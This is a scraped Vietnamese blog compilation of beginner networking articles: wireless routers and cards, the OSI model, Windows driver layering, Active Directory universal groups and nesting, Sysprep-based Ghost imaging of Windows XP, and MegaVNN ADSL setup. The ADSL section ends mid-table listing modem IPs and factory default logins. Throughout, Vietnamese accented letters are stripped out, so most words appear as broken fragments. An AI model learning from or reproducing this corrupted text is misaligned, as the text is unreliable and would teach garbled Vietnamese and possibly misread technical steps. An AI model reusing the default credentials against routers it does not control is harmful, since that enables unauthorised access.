802.11g nhng trong v bn mua mt router 802.11a khng c kh nng tng thch 802.11g th chng c th khng truyn thng vi nhau, v cc chun c s dng y l khc nhau r rng nu c hai u ch tng thch vi 802.11b th chng li hon ton c th truyn thng vi nhau tc thp hn (11 Mbps). Ngy nay cc router bng thng rng v card mng khng dy u c kh nng tng thch vi mt s chun. Lc ny chc hn bn c c tng v router bng thng rng khng dy m bn nn mua l g. Cc router bng thng rng khng dy c mt s tnh nng c bn sau: Card mng khng dy Tt c cc my tnh ngy nay u c t nht mt cng LAN chy cp 100 Mbps, tuy nhin trong trng hp ny bn cn b sung thm mt card mng khng dy cho mi my tnh. Trong cc my tnh laptop ngy nay th bn khng cn n cng vic ny, v chng hu nh u c card mng khng dy c tch hp sn trong. Nu mun tit kim chi ph, bn c th kt ni cc my tnh desktop n router bng cp mng chun. Thm ch nu router bng thng rng khng dy c kh nng khng dy nhng bn vn c th kt ni cc my tnh n n bng cp thng thng. Chng ta s ni thm v ch ny sau. C hai kiu card mng khng dy hin c trn th trng: USB v add-on.
Thng thng card add-on chy n nh hn. Card add-on cho cc my tnh desktop c cung cp cho slot PCI (c th cho slot PCI Express x1 trong tng lai) v card add-on ca cc my tnh laptops c cung cp cho slot PC Card (PCMCIA) hoc slot Express Card. Nu laptop ca bn khng c card mng khng dy i km th cn phi kim tra xem n c khe cm m rng hay khng (PC Card hoc Express Card) v mua mt card khng dy add-on cho n (PC Card c th l mt la chn sng sut v cc slot ca Express Card cng chp nhn cc thit b ny). Trong hnh 2 bn c th thy mt card mng khng dy loi PCI add-on cho cc my desktop, trong hnh 3 l mt card mng khng dy USB c th s dng cho cc my desktop v laptop, cn trong hnh 4 l mt card mng khng dy PC Card add-on cho cc my laptop. Hnh 2: Card mng khng dy PCI add-on Hnh 3: Card mng khng dy USB Hnh 4: Card mng khng dy PC Card Bn nn mua mt card c kh nng tng thch vi cng chun khng dy c s dng bi router ca bn. Vic ci t card ny cn phi c thc hin theo hng dn s dng ca card. Thng thng n rt n gin: ch cn kt ni thit b vi my tnh ca bn (nu bn ci t mt PCI card trn my desktop th bn cn bt my v m case), bt my tr li v ci t driver ca n. Vi PCI card ca chng ti nh th hin trong hnh 2 (D-Link DWL-G510), chng ta cn phi ci t cc driver trc khi lp t card vo my tnh. Ci t Trong hnh 5 bn c th quan st thy cc connector trn mt router bng thng rng khng dy in hnh. Hnh 5: Router bng thng rng khng dy in hnh Vic ci t vt l y rt n gin: cm ngun cp vo cho router, kt ni cp n t modem bng thng rng n cng c nhn WAN, cm ngun cp vo in xoay chiu. Nu bn ch s dng kt ni khng dy th y chnh l tt c nhng g bn cn thc hin.
Hy ch mt trong nhng vn chnh trong vic thit lp mt mng khng dy l router s lm vic ngay lp tc, iu c ngha l bt k my tnh no c kh nng kt ni mng khng dy u c th s dng tn hiu mng ca bn ngay lp tc gm c trong c cc hng xm nh bn. Chnh v vy bn cn kin tr v c hng dn ny v cn phi kch hot m ha WEP, tnh nng khng c thit lp mc nh. Nu bn s kt ni cc my tnh n router bng cp mng thng thng th hy c phn kt ni vi cp mng thng thng di y bng khng bn c th b qua chuyn nhanh sang phn khc. Chng ti khuyn bn nn kt ni t nht mt my tnh s dng cp thng thng n router bng thng rng khng dy to cu hnh ban u cho n. Vi vic kt ni cc my tnh n router bng cp mng thng thng, bn n gin cn cc cp mng chun cho mi my tnh m bn mun kt ni vo mng. Hnh 6: Cp mng in hnh Trn mt router, mi cp s c cm vo bt k mt cng LAN no (xem trong hnh 5). Nh chng ti cp n t trn, thng thng cc router bng thng rng c 4 cng LAN. Nu bn cn nhiu hn s cng th c th dng mt switch m rng v kt ni thit b ny trn cng LAN ca router m rng s cng LAN c sn. u kia ca cp s c kt ni n mi my tnh m bn mun kt ni vo router. Ngy nay tt c cc my tnh u c t nht mt cng LAN 100 Mbps (card mng nhng trong), nu bn ang s dng mt my tnh c khng c tnh nng ny th cn mua v ci t thm mt card mng (10/100 Network Card or NIC, Network Interface Card). Trn hnh 7 v 8 bn s thy c cng LAN trng nh th no trn cc my tnh desktop v laptop. R rng bn c th mun kt ni tt c cc laptop vo mng theo cch khng dy, tuy nhin n cng hon ton c th s dng kt ni chy cp thng thng. Hnh 7: V d v cng LAN trn mt desktop Hnh 8: V d v cng LAN trn laptop Bn khng cn lo lng v vic ci t cp mng sai gic: gic mng c tn RJ45 s hp vi card mng. Vy l bn c y cc thit b thit k mt mng khng dy (hay c
chy dy nu cn thit v tit kim chi ph mua card mng khng dy) chng ta s tin hnh cu hnh cc my c th kt ni vi nhau v vo mng Internet. Theo Hardwaresecrets http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38598 .html c ng bi haodalat ti 9:11 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 17 M hnh OSI
Trong phn trc ca lot bi ny, chng ti gii thiu v mt qu trnh c s dng trong Windows (v cc h iu hnh mng khc), qu trnh ny cho php cc ng dng ca cc hng c pht trin m khng cn phi lo lng nhiu v vn to driver cho thnh phn phn cng c th. Mc d khi nim ny c s dng rng ri trong tt c cc h iu hnh Windows, nhng n c bit quan trng khi ni n vn kt ni mng. bit ti sao iu ny li quan trng n vy chng ta hy xem xt n nhng g m chng ti gii thiu trong phn trc c lin quan n phn cng. Mc ch mt ng dng c th truyn thng trn mng. Mt chuyn gia pht trin ng dng khng xy dng cc driver mng bn trong ng dng, m h ch vit mt cch n thun ng dng theo cch ca h c th cho php ng dng ny thc hin cc cuc gi n h iu hnh Windows. Chnh cc nh my sn xut adapter mng ca my tnh mi cung cp cc driver c th lin kt lm vic vi Windows, v cng nh vy, Windows thc hin nhng cng vic cn thit cn li lm sao ng dng c th truyn thng vi adapter mng. R rng mi ch l nhng g chung chung. Cng vic c th bn trong phc tp hn nhng g m chng ta va ni trn. Tuy nhin cng phi ni rng adapter mng cng ch l mt thit b c thit k gi v nhn cc gi d liu. Bn thn Card mng khng h bit v Windows, ng dng hoc thm ch c cc giao thc ang c s dng. V d m chng ti va cung cp nhm cho cc bn bit rng c n ba lp khi thc hin cng vic ny l: ng dng, h iu hnh v phn cng vt l. Trc khi gii thch cc lp ny l g v chng thc hin nhng cng vic g, chng ti mun gii thiu mt s khi nim lm vn d hiu hn. Thc t, nu bn m trang thuc tnh ca Local Area Connection (nh trong hnh A), th c th thy mt kt ni mng c thit lp bng mt s thnh phn khc nhau, nh network client my khch ca mng, driver ca adapter mng, v giao thc - protocol. Mi mt thnh phn ny li tng ng vi mt hoc nhiu lp khc nhau.
Hnh A: Trang thuc tnh ca Local Area Connection cho chng ta mt ci nhn v cc lp mng khc nhau c dng trong Windows. M hnh mng m Windows v hu ht cc h iu hnh mng khc s dng c gi l m hnh OSI. Thut ng OSI c vit tt bi cm t ting Anh Open System Interconnection Basic Reference. M hnh ny gm c by lp khc nhau. Mi mt lp trong m hnh ny c thit k c th thc hin mt nhim v c th no v lm thun tin cho vic truyn thng gia lp trn v lp di n. Bn c th nhn thy nhng g m m hnh OSI th hin trong hnh B bn di. Hnh B: M hnh OSI Lp Application Lp trn cng trong m hnh OSI l lp Application. Th u tin m bn cn hiu v lp ny l n khng m ch n cc ng dng m ngi dng ang chy m thay vo n ch cung cp nn tng lm vic (framework) m ng dng chy bn trn. hiu lp ng dng ny thc hin nhng g, chng ta hy gi d rng mt ngi dng no mun s dng Internet Explorer m mt FTP session v truyn ti mt file. Trong trng hp c th ny, lp ng dng s nh ngha mt giao thc truyn ti. Giao thc ny khng th truy cp trc tip n ngi dng cui m ngi dng cui ny vn phi s dng ng dng c thit k tng tc vi giao thc truyn ti file. Trong trng hp ny, Internet Explorer s lm ng dng . Lp Presentation Lp Presentation thc hin mt s cng vic phc tp hn, tuy nhin mi th m lp ny thc hin c th c tm gn li trong mt cu. Lp ny ly d liu c cung cp bi lp ng dng, bin i chng thnh mt nh dng chun lp khc c th hiu c nh dng ny. Tng t nh vy lp ny cng bin i d liu m n nhn c t lp session (lp di) thnh d liu m lp Application c th hiu c. L do lp ny cn thit n vy l v cc ng dng khc nhau c d liu khc nhau. vic truyn thng mng c thc hin ng cch th d liu cn phi c cu trc theo mt chun no . Lp Session Khi d liu c bin i thnh nh dng chun, my gi i s thit lp
mt phin session vi my nhn. y chnh l lp s ng b ho qu trnh lin lc ca hai my v qun l vic trao i d liu. Lp phin ny chu trch nhim cho vic thit lp, bo tr v kt thc session vi my t xa. Mt im th v v lp session l n c lin quan gn vi lp Application hn vi lp Physical. C th mt s ngi ngh rng vic kt ni session mng nh mt chc nng phn cng, nhng trong thc t session li c thit lp gia cc ng dng. Nu ngi dng ang chy nhiu ng dng th mt s ng dng ny c th thit lp session vi cc ti nguyn xa ti bt k thi im no. Lp Transport Lp Transport chu trch nhim cho vic duy tr vn iu khin lung. H iu hnh Windows cho php ngi dng c th chy nhiu ng dng mt cch ng thi, chnh v vy m nhiu ng dng, v bn thn h iu hnh cn phi truyn thng trn mng ng thi. Lp Transport ly d liu t mi ng dng v tch hp tt c d liu vo trong mt lung. Lp ny cng chu trch nhim cho vic cung cp vn kim tra li v thc hin khi phc d liu khi cn thit. Bn cht m ni, lp Transport chu trch nhim cho vic bo m tt c d liu t my gi n my nhn. Lp Network Lp mng Network l lp c trch nhim quyt nh xem d liu s n my nhn nh th no. Lp ny nm nhng thnh phn nh vic nh a ch, nh tuyn, v cc giao thc logic. Do lot bi ny dnh cho nhng ngi mi bt u lm quen vi cc kim thc v mng nn s khng i chuyn su vo k thut, tuy nhin chng ti ni qua rng lp mng ny to cc ng logic c bit n nh cc mch o gia my ngun v my ch. Mch o ny cung cp cc gi d liu ring l chng c th n c ch ca chng. Bn cnh lp mng cng chu trch nhim cho vic qun l li ca chnh n, cho vic iu khin xp chui v iu khin tc nghn. Vic sp xp cc gi l rt cn thit bi mi mt giao thc gii hn kch thc ti a ca mt gi. S lng d liu phi c truyn i thng vt qu kch thc gi ln nht. Chnh v vy m d liu c chia nh thnh nhiu gi nh. Khi iu ny xy ra, lp mng s gn vo mi gi nh ny mt s th t nhn dng. Khi d liu ny n c my tnh ngi nhn th lp mng li kim tra s th nhn dng ca cc gi v s dng chng sp xp d liu ng nh nhng g m chng c chia lc trc t pha ngi gi, bn cnh cn c nhim v ch ra gi no b thiu trong qu trnh gi. Nu bn cha hiu k v khi nim ny, hy hnh dung rng bn cn gi mail
mt ti liu c dung lng ln n mt ngi bn ca mnh, nhng khng c mt phong b ln. gii quyt vn ny th bn phi chia nh mt s trang vo cc phong b nh, sau dn nhn cc phng b ny li bn ca bn c th bit c th t ca cc trang trong . iu ny cng tng t nh nhng g m lp mng thc hin. Lp Data Link Lp lin kt d liu Data Link c th c chia nh thnh hai lp khc; Media Access Control (MAC) v Logical Link Control (LLC). MAC v c bn thit lp s nhn dng ca mi trng trn mng thng qua a ch MAC ca n. a ch MAC l a ch c gn cho adapter mng mc phn cng. y l a ch c s dng cui cng khi gi v nhn cc gi. Lp LLC iu khin s ng b khung v cung cp mt mc kim tra li. Lp Physical Lp vt l Physical ca m hnh OSI m ch n cc chi tit k thut ca phn cng. Lp vt l nh ngha cc c im nh nh thi v in p. Lp ny cng nh ngha cc chi tit k thut phn cng c s dng bi cc adapter mng v bi cp mng (tha nhn rng kt ni l kt ni dy). n gin ha, lp vt l nh ngha nhng g n c th truyn pht v nhn d liu. Lm vic hai chiu Cho n lc ny, chng ta tho lun v m hnh OSI di dng mt ng dng cn truyn ti d liu trn mng. M hnh ny cng c s dng khi mt my tnh no nhn d liu. Khi d liu c nhn, d liu i ngc tr ln t lp vt l. Cc lp cn li lm vic tch b nhng g c ng gi bn pha gi v bin i d liu v nh dng m lp ng dng c th s dng c. Kt lun Trong phn ny, chng ti gii thiu cho cc bn v cch Windows s dng m hnh OSI nh th no thc hin vic kt ni mng. Bn cng nn hiu rng m hnh OSI ch l mt hng dn vi t cch vn kt ni mng c thc hin nh th no. Cn trong th gii thc, cc ngn xp giao thc i khi kt hp nhiu lp vo mt thnh phn no . V vn , chng ti s gii thiu cho cc bn trong phn tip theo ca lot bi ny. Theo Windows Networking http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38612 .html
c ng bi haodalat ti 9:09 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng - Phn 16: Kt ni mng h iu hnh Windows
Thi gian va qua chng ti nhn c mt s email ca c gi mun bit ti sao hu ht cc bi trong lot bi ny ch tp trung vo Windows. Thc s m ni vi mi c nhn, c th c nhng ngi thch Linux hn Microsoft hoc mt h iu hnh no khc chng hn, nhng vn phn vn ti sao Windows li cn thit n vy. iu ny hon ton l s thc, v vic kt ni mng c nghin cu v thc hin ngay t trc khi c Windows. Chnh v vy ti mun gii thiu n cc bn v role m Windows gi vai tr trong vic kt ni mng. C mt iu cn ni vi cc bn, l mi h iu hnh u thc hin vic kt ni mng theo cng mt cch n gin. Mc d h iu hnh ny c th hiu qu hn h iu hnh kia, nhng kt qu cui cng c bn l ging nhau. Windows, Macintosh, Linux v UNIX tt c u c th truyn thng trn cng mt mng Internet bng cc giao thc ging nhau. Chng ti chn vit v Windows l v n l mt h iu hnh c s dng ph dng nht trn ton th gii hin nay, cng vi mc ch phc v c nhiu c gi nht. Windows lm nhng g cho th gii By gi chng ta hy i vo nhng c gng v thnh cng m Windows mang li cho th gii cng ngh ni chung, v cc doanh nghip ni ring. L do Windows tr thnh mt h iu hnh c nh hng ln nh vy l v n gii quyt c hai vn ln m lnh vc CNTT i hi. u tin l trc khi to ra Windows, cc my tnh tng i kh s dng. Trc Windows 3.x, hu ht cc my tnh chy mt h iu hnh ca Microsoft l MS-DOS. DOS l mt thut ng c vit tt cho Disk Operating System. H iu hnh DOS qu thc lm vic kh tt, nhng n cn c qu nhiu thiu st theo mt chun mc no . y l h iu hnh da trn vn bn. iu c ngha rng nu mun khi chy mt ng dng th bn khng th kch chut vo mt biu tng no trn mn hnh nh hin h iu hnh ang s dng by gi m nhng g bn phi thc hin vo thi im ny l phi bit n cc tp lnh cn thit khi chy ng dng. Nu bn mun bit c bao nhiu dung lng khng gian a trng th khng th s dng vic kch chut phi vo biu tng a m phi s dng lnh CHKDSK hay DIR. y qu l iu thc s phc tp i vi nhng ngi dng khng chuyn.
Phn ng ngi dng khng thch iu ny. V mun s dng DOS thm ch ch l c bn cng cn phi hc mt s lnh no . Nhiu lnh trong s c th gy hng nng n d liu nu bn v tnh s dng lnh sai, v nh vy qu l mt iu khng ai mong mun. Vic s dng my tnh dn dn tr thnh ph bin trc khi Microsoft gii thiu mt h iu hnh bng ha, nh vy Windows gip vic thao tc vi cc my tnh tr nn d dng hn rt nhiu. iu th hai m Windows thc hin cn quan trng hn nhiu l cung cp mt thnh phn cho php cc driver tch hon ton vi cc ng dng. thi im ca DOS, n l mt ng dng m cc chuyn gia pht trin gp cc driver thit b vi t cch l mt phn ca ng dng. V d, b x l t trn th trng tt nht vo thi l mt sn phm m by gi khng cn tn ti, tn trc kia ca n l PFS Write. Mt trong nhng th m bin PFS Write tr thnh mt sn phm tt nh vy l n h tr cho rt nhiu my in. Hy lu rng, thi im ny khng h c vic h tr ti card video v m thanh, Cch m cc driver l thuc vi ng dng qu ti t cho c cc chuyn gia pht trin ng dng ln khch hng. N cng khng c li cho nhng chuyn gia pht trin ng dng, v h phi tn nhiu thi gian vo vic vit mt lng v cng ln cc driver thit b, iu lm tng gi thnh cng nh thi gian hon thnh xong sn phm v a ra cung cp cho th trng. Chnh v ng dng ch c th h tr mt tp hn ch phn cng no nn chuyn gia pht trin s khng th h tr cho ht c cc sn phm phn cng m khch hng c. Vic cc driver thit b gn cht vi ng dng cng gy kh khn cho khch hng. in hnh, phn cng c hn s khng c h tr, thng th phi bt buc khch hng mua phn cng mi cng vi ng dng mi ca h. Lc gc phn cng cng khng thng xuyn c h tr. Cc chuyn gia pht trin ng dng phi to ra cc driver ph hp vi phn ng s lng ngi dng, chnh v vy thc s him c mt ng dng no c driver cho nhng phn cng mi nht. Thng thng phn cng mi li khng tng thch vi driver phn cng c trc , nhng sau mt vi nm gc phn cng c thay i. Khi Microsoft to ra Windows, h to ra mt mi trng m trong , bt k ng dng no cng c th tng tc vi bt k phn cng no. Bo m rng, cc ng dng vn c nhng yu cu phn cng ti thiu nhng cc model phn cng cng nh cc nhn hiu khng thc s quan trng nhiu
nh trc kia. V d, nu bn mun in ti liu ny, n s khng cn bit loi my in m bn c l g min l c ci t driver trn my tnh ri. Windows xy dng trong nhiu lp. Mi mt ng dng Windows li sinh mt s cng vic in n theo cng mt cch m khng tm n ng dng l g, hoc kiu my in m cng vic in n ang gi n l g. H iu hnh Windows s dng driver in c th dch cng vic in n thnh nh dng m my in c th hiu c. Qu trnh thc s phc tp hn nhiu nhng y ti ch mun gii thiu tng c bn m khng i vo nhng chi tit trong kin trc. im tuyt vi nht l cc ng dng t driver thit b gip c nhiu i tng. Cc chuyn gia pht trin ng dng khng phi chu gnh nng i vi vic phi vit cc driver thit b, v cc khch hng lc ny hon ton c th thoi mi s dng bt k phn cng no m h mun (min l c nhng chun ti thiu yu cu cho s tng thch) m khng cn phi lo lng xem n c lm vic vi ng dng no ca mnh hay khng. Kt lun Nh nhng g bn bit, Microsoft c th thit k Windows theo cch cho php cc ng dng c th tch ri driver thit b. Trong phn tip theo ca lot bi ny, chng ti s tip tc gii thiu cho cc bn v cch kin trc ny h tr cho vic kt ni mng nh th no. Theo Windows Networking http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38594 .html c ng bi haodalat ti 9:08 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 15 Universal Groups & Group Nesting
Trong phn trc ca lot bi ny, chng ti gii thiu cho bn khi nim v cch s dng cc nhm qun l truy cp mng, tip l vic cho php cc iu khon trc tip i vi ngi dng. Chng ti cng gii thch Windows Server 2003 h tr mt s kiu nhm khc v mi mt kiu nhm li c nhng u v nhc im ring. Trong bi , chng ti ni v local group, domain local group v global group. Bn c th d dng qun l ton b mng bng cch ch s dng cc kiu nhm ny. Tuy nhin cn c nhiu kiu nhm m Windows Server 2003 h tr nh universal group.
Nu mt s bn cha nm chc v local groups, domain local groups, v global groups th cc universal group ban u dng nh s ging nh mt cu tr li cho nhng yu cu tm hiu ca bn. Cc nhm Universal group l nhm v bn cht khng phi l ch cho nhng hn ch p dng i vi cc kiu nhm khc. V d, trong bi trc, chng ti cp n rng bn khng th t mt nhm ni b hoc nhm min ni b (domain local group) vo mt nhm ni b khc. Tuy nhin bn li c th t mt nhm universal group vo mt nhm ni b (local group). Cc nguyn tc ny p dng i vi cc loi nhm khc m khng p dng i vi nhm universal group. R rng, vn ny cng t ra nhiu thc mc v ti sao bn nn s dng cc nhm cn li nu chng c nhng hn ch m cc nhm universal group c th khc phc c. Mt trong nhng l do chnh c qu nhiu kiu nhm khc nhau v Windows Server l mt sn phm tin ha dn dn. Cc nhm Universal group c gii thiu trong Windows 2000 Server, cng vi Active Directory. Cc phin bn trc ca Windows Server (trc y vn gi l Windows NT Server) h tr vic s dng cc nhm, nhng nhm universal group vn khng c a ra khi cc phin bn ny thnh hnh. Khi Microsoft pht hnh Windows 2000 Server, h mun tip tc h tr cc kiu nhm khc vi t cch duy tr s tng thch vi cc phin bn trc trong Windows NT. Tng t nh vy, Windows Server 2003 cng h tr cc kiu nhm c t trc cng vi cc l do tng thch. S tht l cc nhm universal group khng tn ti trong thi k Windows NT Server, iu c ngha rng Windows NT khng h tr cho cc nhm ny. iu ny gy ra mt s vn nu bn c my ch Windows NT no trong h thng ca mnh. Windows 2000 Server l mt ci tin r rt so vi Windows NT Server, mt s tnh nng mi s ch lm vic trn mng m khng cn cc b iu khin min ca Windows NT Server. gii quyt vn ny, Microsoft to mt khi nim native mode. Chng ti s ni chi tit hn v native mode trong phn sau, nhng tng c bn ca n l khi Windows 2000 Server c ci t ban u th n s hot ng trong mt ch gi l mixed mode. Ch ny tng thch hon ton vi Windows NT, nhng nhiu tnh nng ca Windows 2000 li khng th c s dng cho ti khi bn loi b cc b iu khin min ca Windows NT v chuyn sang ch native mode. Mc d v thut ng c phn hi khc nhng n cng l nhng khi nim c bn c p dng cho Windows Server 2003. Universal group l mt trong nhng tnh nng ch c tc dng nu cc b iu khin min ca bn ang hot ng trong ch Native Mode ca Windows 2000 Server hoc cao hn. l l do ti sao bn khng th s dng cc nhm universal group trong mi tnh hung.
Ngay c khi tt c my ch ca bn ang chy trn h iu hnh Windows Server 2003, v forest ca bn hon ton trong ch native, th s dng universal group trong hu ht cc trng hp vn l mt tng khng tt. Nh ni trong phn trc ca lot bi ny, chng ti gii thiu cho bn khi nim v global catalog servers. Cc my ch global catalog server l cc b iu khin min c gn nhim v gi kim tra mi i tng trong forest. in hnh, mi v tr Active Directory u c bn copy ca chnh n cho global catalog, iu c ngha rng bt k thi im no mt my ch global catalog cng u c cp nht, thng tin cp nht phi c to bn sao cho cc my ch ny. Khi bn to mt universal group, c tn nhm v danh sch hi vin ca nhm u c ghi vo cc my ch global catalog. iu ny c ngha rng khi to nhiu nhm universal group th cc my ch global catalog s nh phng ln. Khi global catalog cng ln th s lng thi gian m n cn sao global catalog t mt my ch global catalog ny sang mt my ch global catalog khc cng tng. Nu khng c kim tra th iu ny c th dn n cc vn v hiu sut mng. Trong trng hp ny c th bn ang phn vn rng kiu cn li ca cc nhm khng cng ng ni lng ti trn global catalog. V d, cc nhm global group c lit k trong global catalog, nhng danh sch hi vin ca chng li khng c. Chnh v vy nguyn l c bn ca Microsoft l hon ton OK to cc nhm universal group nhng bn nn s dng chng mt cch d xn. Group Nesting Mt khi nim c lin quan n nhm cui cng m chng ti mun gii thiu cho cc bn l Nesting. Cch n gin nht gii thch v nhm ny l so snh n vi cc con bp b ca Nga. Cc kiu bp b ny c thit k chng c th t c vo bn trong mi con khc ln hn. Con nh nht s c t vo con nh nht tr n v c th tip tc, chng ta s t c tt c cc con bp b nh vo trong mt con ln. tng t i tng ny bn trong i tng khc tng t c gi l nesting (xp lng). C nhiu l do khc nhau cho vic a ra cc nhm nesting ny. Mt trong nhng l do chung nht l vic tng thch cc ti nguyn vi cc vn phng. V d, mt cng ty bt u to nhm cho mi phng ban. H c th to nhm Ti chnh, nhm Th trng, nhm CNTT... Tip theo h s t ngi dng vo nhm sao cho ph hp vi phng ban m ngi dng lm. Bc tip theo trong tin trnh s l to cc nhm ph hp vi cc ti nguyn khc nhau m bn cn ng cho php truy cp vo. V d, nu bn bit rng mt ai trong phng ti chnh cn truy cp vo mt ng dng ti khon th c th to
mt nhm cho php truy cp vo ng dng v sau t nhm ti chnh vo nhm . Bn khng phi xp lng cc nhm nhng vic lm nh vy i khi cho php d lm vic trong t chc ca mnh, trong khi vn tit kim c lng cng vic trong tin trnh. Trong trng hp v d trc, bn khng phi t mt cch th cng mi mt ti khon ngi dng ring l vo nhm cho ng dng ti khon m thay v bn ch cn dng li nhm tn ti trc . Lu rng khng phi mi nhm u c th c xp lng vo nhm khc. Bng di y s lit k cc loi nhm no c th xp lng c: Loi nhm C th c xp lng trong nhm Local C th c xp lng trong nhm Domain Local C th c xp lng trong nhm Global C th c xp lng trong nhm Universal Local Khng Khng Khng Khng Domain Local C C (nu cng min)
Khng Khng Global C C C (nu cng min) C Universal C C Khng C Lu : Nu Windows ang s dng trong ch mixed mode ca h iu hnh Windows 2000 th bn s b nhng hn ch di y: Khng th to cc nhm Universal groups Cc nhm Domain local group ch cha nhm global Cc nhm Global group khng cha cc nhm khc Kt lun Trong bi ny, chng ti gii thiu cho cc bn mt s u im v vic xp lng mt nhm ny vo trong nhm khc. Cng vi chng ti cng
gii thiu mt s tnh hung c th p dng iu ny. Phn tip theo ca lot bi ny c th s gii thiu tip cho cc bn v nguyn tc m h iu hnh Windows thc hin trong vic kt ni mng, mi cc bn n c. http://www.3c.com.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38409 .html c ng bi haodalat ti 9:06 CH 0 nhn xet Nhan: co ban ve Mang may tinh, C TH BN CHA BIT, NETWORK
Ghost Winxp trn nhiu cu hnh !
To tp tin ghost cho Windows XP chy c trn cc my tnh c cu hnh khc nhau Nguyn nhn khin tp tin ghost Windows XP thng my no chy my ny l khi ci Windows XP trn my bt k, n u t ng thit lp thng s cc tp tin cu hnh ng theo c trng phn cng ca my . Khi mang sang my khc, c c trng phn cng khc, n khng th chy c v khng th qun l c phn cng mi v cng khng c kh nng t ng thit lp li cu hnh phn cng nh Windows 9x. khc phc nguyn nhn ny, chng ta s dng b cng c System Prepairation Tool i km theo a ci t Windows XP xa b tp tin cu hnh phn cng trong Windows XP trc khi ghost. Bc 1: Bn a a CD ci t Windows XP vo, tm n th mc \SUPPORT\TOOLS. Gii nn ton b tp tin DEPLOY.CAB vo th mc C:\SYSPREP (vi C: l a ci t Windows XP ca bn). Nu my bn c ci t WinZip, nhn phi chut vo tp tin DEPLOY.CAB, chn WinZip\ Extract to -> g vo C:\SYSPREP ri nhn OK. Bc 2: Chuyn n th mc C:\SYSPREP, chy tp tin SETUPMGR.EXE to ra tp tin tr li t ng cho qu trnh ci t sau ny. Nhn Next -> chn mc Create a new answer file -> chn Sysprep install. Chn bn Windows XP bn s dng (Home hay Professional), nh du vo Yes, fully automate the installation. By gi chng trnh s yu cu bn in cc thng tin ging nh khi bn ci t Windows XP. Nhn Next in cc thng tin. Bn ch khai bo cc phn bt buc sau y: mc Customize the Software v Providing the Product Key (CDKey ca Windows XP) trong th General Setting, mc Computer Name (tn my tnh) trong th Network Setting. Khi in xong nhn Next, my s hi bn lu thng tin vo u, bn g vo: C:\Sysprep\sysprep.inf ri nhn OK. ng ca s chng trnh ang chy li. Bc 3: Ly a CD ci t Windows XP ra, a a CD c kh nng boot v DOS thc v cha chng trnh Ghost vo. Bc 4: Chy tp tin sysprep.exe trong th mc C:\SYSPREP, nhn OK khi gp thng bo. Bn nh du vo mc Mini Setup v PnP (chc nng Plug & Play: t ng d tm v ci t phn cng). Trong phn Shutdown, chn Reboot. Sau nhn Reseal. My tnh s khi ng li.
By gi, sau khi my tnh khi ng li v du nhc DOS. Bn chy chng trnh Ghost c trn CD to tp tin Ghost Windows XP. Tp tin Ghost ny c th chy trn mi my tnh c cu hnh khc nhau. Khi bung tp tin Ghost ny ra v chy Windows XP, n s t ng chy chng trnh Mini Setup xc lp li cc thng s v phn cng cho ph hp vi mi my. bit thm thng tin chi tit, bn c th c cc tp tin tr gip cha trong tp tin DEPLOY.CAB nh: deploy.chm, ref.chm v setupmgr.chm. C vn cn thc mc hy lin h vi ti, xin ht sc gip . Ngi vit hoangcanhvc@yahoo.com.vn lc 02:56 http://nguoiyenbai.yeublog.com/75695/Ghost+Winxp+tr%C3%AAn+nhi %E1%BB%81u+c%E1%BA%A5u+h%C3%ACnh+%21.html c ng bi haodalat ti 9:00 CH 0 nhn xet Nhan: C TH BN CHA BIT, TH THUT IT
HNG DN CI T V S DNG ADSL - MEGAVNN

HNG DN CI T V S DNG ADSL - MEGAVNN I. Yu cu * My tnh cu hnh ti thiu 166 Mhz (h tr cng USB hoc c gn card mng cng RJ45), s dng h iu hnh Windows, Mac hoc Linux, Giao thc s dng TCP/IP, Trnh duyt Internet Explorer hoc Netscape. * Modem ADSL (cng USB hoc cng RJ45). * Nu c dng thoi bn cn phi c Filter/Spliter. * ng line ADSL (bn ng k vi VNN v c tn hiu ADSL). * Account ADSL (bn ng k vi VNN cho ng line ADSL trn v c hiu lc).
II. Lp t thit b. u tin bn phi tin hnh u ni cc thit b nh s lp t cc thit b ADSL hnh v trang 4.
III Ci t cc thng s cho my tnh v cu hnh thng s cho Modem. 1. Ci t TCP/IP: TCP/IP l giao thc bt buc my tnh ca bn c th truy cp c Internet. tin hnh kim tra xem my tnh ca bn c ci t giao thc ny hay cha bn thc hin kim tra theo cch sau:
My Computer " Control Panel" Network and Dial-up Connections, nhn chut phi v chn Properties nh hnh sau:
Trong ca s Local Area Connection Properties, xem c TCP/IP cha? Nu cha c thc hin tip cc bc sau: Install " Protocol " Add" Microsoft (Manufactures) " TCP/IP (Network Protocols) " OK. Sau khi thy c TCP/IP bn chn n v nhp chut vo Properties.
Ca s Internet Protocol(TCP/IP) Properties xut hin (hnh bn). Trn ca s ny bn chn la nh sau:
- Obtain an IP address automatically - Obtain DNS server address automatically.
- Vi cch chn la t ng ny, my tnh s t ng nhn IP v DNS t Modem cp pht xung. Ngc li Nu bn bit cch gn a ch IP v DNS th c th tm hiu a ch IP ca Modem v t thit lp IP cho mi my tnh trong ca s ny. - Sau cng bn chn OK kt thc.
2. Cu hnh cc thng s cho Modem ADSL. Bc tip theo l bn phi khai bo thng s cho Modem ADSL, trc khi tin
hnh ci t cc thng s Modem bn cn phi bit cc thng s quan trng sau: - Username/password Modem: Cp user v password ny dng m trang web ci t cc thng s cho modem. Thng s ny do nh sn xut modem ci t sn bn trong Modem (bn c th thay i c cc thng s ny). Nhng thng s ny khc nhau i vi mi lai Modem. - a ch IP ca Modem ADSL: a ch ny m trang web cu hnh Modem. - Username/Password MegaVNN do VNN cung cp cho khch hng kt ni vo mng Internet. - VPI = 8 v VCI = 35 (thng s bt buc i vi ADSL VNN). - Encapsulation: PPPoE LLC Chip Tn Modem a ch IP modem User name modem Password modem Alcatel Speedtouch 500/530/536/516 10.0.0.138 Bn t t Bn t t Conexant
Micronet 10.0.0.2 admin epicrouter Conexant Aztech 10.0.0.2 admin B trng Conexant Zoom X3-X4-X5 10.0.0.2 admin zoomadsl Conexant Cnet
10.0.0.2 admin epicrouter Conexant GVC 10.0.0.2 admin epicrouter Alcatel Linkpro 192.168.8.1 admin B trng Conexant SMC 192.168.1.1 admin
